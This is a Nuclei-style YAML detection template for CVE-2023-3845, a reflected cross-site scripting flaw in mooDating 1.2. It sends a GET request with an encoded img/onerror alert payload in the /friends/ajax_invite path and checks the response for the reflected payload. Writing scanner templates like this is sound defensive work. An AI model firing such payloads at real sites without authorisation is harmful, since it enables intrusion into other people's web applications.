id: CVE-2023-3845

info:
  name: MooDating 1.2 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    A vulnerability was found in mooSocial mooDating 1.2. It has been rated as problematic. Affected by this issue is some unknown functionality of the file /friends/ajax_invite of the component URL Handler. The manipulation leads to cross site scripting. The attack may be launched remotely.
  reference:
    - https://packetstormsecurity.com/files/173691/mooDating-1.2-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3845
    - https://vuldb.com/?ctiid.235196
    - https://vuldb.com/?id.235196
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-3845
    cwe-id: CWE-79
    epss-score: 0.06151
    epss-percentile: 0.91349
    cpe: cpe:2.3:a:moosocial:moodating:1.2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: moosocial
    product: moodating
  tags: cve2023,cve,packetstorm,xss,moodating,moosocial

http:
  - method: GET
    path:
      - "{{BaseURL}}/friends/ajax_invitej7hrg%22%3e%3cimg%20src%3da%20onerror%3dalert(document.domain)%3ef26v4?mode=model"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 404'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "><img src=a onerror=alert(document.domain)>", "mooDating")'
        condition: and
# digest: 4a0a00473045022100f21e47854faf26f9fc8dea03fca07d3aee4c5353ee6f4e1b70cf3f41600615a4022001e37b56662e85828efeb0f7029b84f9ea9a544c450f57a500b6764c271beb04:922c64590222798bb761d5b6d8e72950